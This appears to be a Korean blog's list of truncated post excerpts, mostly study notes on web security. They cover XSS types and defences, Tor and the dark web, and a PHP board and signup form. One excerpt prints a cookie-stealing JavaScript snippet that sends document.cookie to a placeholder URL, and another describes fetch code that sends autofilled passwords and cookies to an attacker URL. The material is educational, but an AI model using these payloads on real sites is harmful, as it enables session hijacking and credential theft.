XSS 클라이언트 측 코드를 삽입하는 공격으로 클라이언트 브라우저에서 실행 XSS 시나리오 브라우저에서 실행하는 코드에 따라 가능성은 무궁무진 POC 코드 alert(1) - > 화면에 보이기 때문에 사용 임의의 클라이언트 측 코드가 실행되는것을 보여주기만 하면 됨 Session 탈취 쿠키: document.cookie 이 쿠키값을 공격자 서버로 전송 var cookie = document.cookie; var img = new Image(); img.src = "URL?cookie=" + cookie; 과 같이 HTML은 document.cookie를 접근 못함 삽입한 값이 출력되지만 response에는 보이지 않음 - > 이 값을 만들어내는 곳은 클라이언트 브라우저. document.get Eleme..
XSS를 대비하기 위한 방법위험한 문자 변환XSS공격을 위해서는 프폰트엔드 언어를 사용하게 된다. 그렇기 대문에 이를 막기 위해서 위험한 문자를 차단 할 필요가 잇다. 위험한 문자로는 대표적으로 태그문자인 등이 있다. 이러한 문자는 HTML 예약어로 이루어진 문자셋인 HTML entitiy를 사용한다. 예시는 다음과 같다.<p>위 문자가 들어가게 되면 우리는 라고 보이게 되지만 실제로 p태그가 실행되지는 않는다. php에서는 htmlspecialchar() 함수를 통해 HTML 엔터티로 변환 가능 White List 기반 필터링만약 HTML태그 사용을 허용해야 할 경우에 특정 태그만을 허용할 수 있다. 이 경우 사용 가능한 태그만으로 공격해야 하기 때문에 확률이 훨씬 낮아진다. CSP(Con..
다크웹 vs 딥웹 검색엔진에 나오는지 여부. 딥웹 : 검색엔진을 통해 들어갈 수 없는 곳. 특정한 사람만 들어갈 수 있음(로그인 등으로 인해 제한)/ 특정 주소를 알아야함다크웹 : 특정 네트워크를 통해서만 들어갈 수 있음 특정 네트워크 : 토르 네트워크 The Onion Routing > 암호와 통신, 익명으로 > 미국정부가 만듬> 토르를 이용한 연결신호가 들어오면 특정화가 되므로 많은 사람들이 쓸 수 있도록 함. 동작원리>통신을 하는 과정에서 여러 node를 거침>통신 시 node의 키를 받아옴. 보낼 데이터를 3 - 2 - 1순으로 암호화 하면 1번이 해독 2 번 전달 해독 3번 전달 해독 이후 목적지. >맨 마지막 exit 노드에서는 데이터가 암호화 되지 않음 - > 이를통해 무언가 가능. ( ..
1. 비밀번호 저장기능 악용 위 코드는 input으로 입력창을 만들고 onchange로 입력값의 길이가 바뀌게되면 fatch 함수가 실행되도록 하였다. fatch 내용은 다음과 같다. attack url로 전송post 전송 Cross-Origin Resource Sharing (CORS)을 비활성화body에 username과 this(password)값을 포함 CORS는 웹 애플리케이션이 다른 도메인의 자원을 요청할 때, 보안상의 이유로 브라우저에서 제한하는 기능. 이는 웹 애플리케이션에서 다른 도메인에서 가져온 데이터를 사용할 수 없게하는데, 이를 우회하려는 목적으로 "no-cors" 모드를 사용할 수 있다. 2. 쿠키 탈취 위 코드 또한 fatch api를 활용하였으며 쿠키를 포함하여 보내고 있다. ..
#account_jn.php IQ Spoofing 사용자 이름 비밀번호 비밀번호 확인 이메일 주소 주소검색 우선 새로운 요소인 adress를 입력하기 위한 form을 위 코드에 추가하였다. 다만 주소의 경우 새 창을 띄워서 db를 통해 검색한 결과를 받을 것이기 때문에 readonly 태그를 사용하였으며 새 창을 띄우는 js함수인 openadress()를 정의/사용하였다. 이때 주소검색 버튼을 통해 post전송이 일어나 오류가 발생 할 수 있으므로 function cancel()을 통하여 새 창을 띄우도록 하였다. #adress search.php
XSS(Cross-Site Scripting) 공격자가 악성 코드(클라이언트 측 코드)를 다른 사용자가 볼 수 있는 웹 페이지에 삽입하는 것. 피공격자의 브라우저에서 실행 가능. => 이를 통하여 공격자가 원하는 정보를 탈취하거나 피공격자의 브라우저의 제어가 가능(세션 탈취 ) XSS 유형 Stored XSS 공격자가 악성스크립트를 서버에 저장 -> 서버의 응답에 XSS가 포함됨. ex) 게시판에 악성 스크립트 게시시 해당 게시글을 읽는 모든 사용자에게 노출 다음 게시글을 작성 후 저장시 이 글을 읽는 모든 사용자는 다음 스크립트가 실행됨 Reflected XSS 악성스크립트가 URL에 삽입 -> 서버의 응답에 XSS가 포함됨. 서버가 악성스크립트가 담긴 요청 출력시 발생. 공격자는 해당 URL을 유도함..
게시판 글 리스트확인 db연결 db에서 마지막으로 올라온 글 순서로 정렬해서 저장 저장값 출력 db 생성 CREATE TABLE board_1 ( `board_id` INT NOT NULL AUTO_INCREMENT COMMENT '게시글ID', `writer` VARCHAR(50) NOT NULL COMMENT '작성자', `title` VARCHAR(50) NOT NULL COMMENT '제목', `content` VARCHAR(1000) NOT NULL COMMENT '내용', `regdate` DATETIME NOT NULL COMMENT '등록일자', `updatedate` DATETIME NULL COMMENT '수정일자', PRIMARY KEY (board_id) );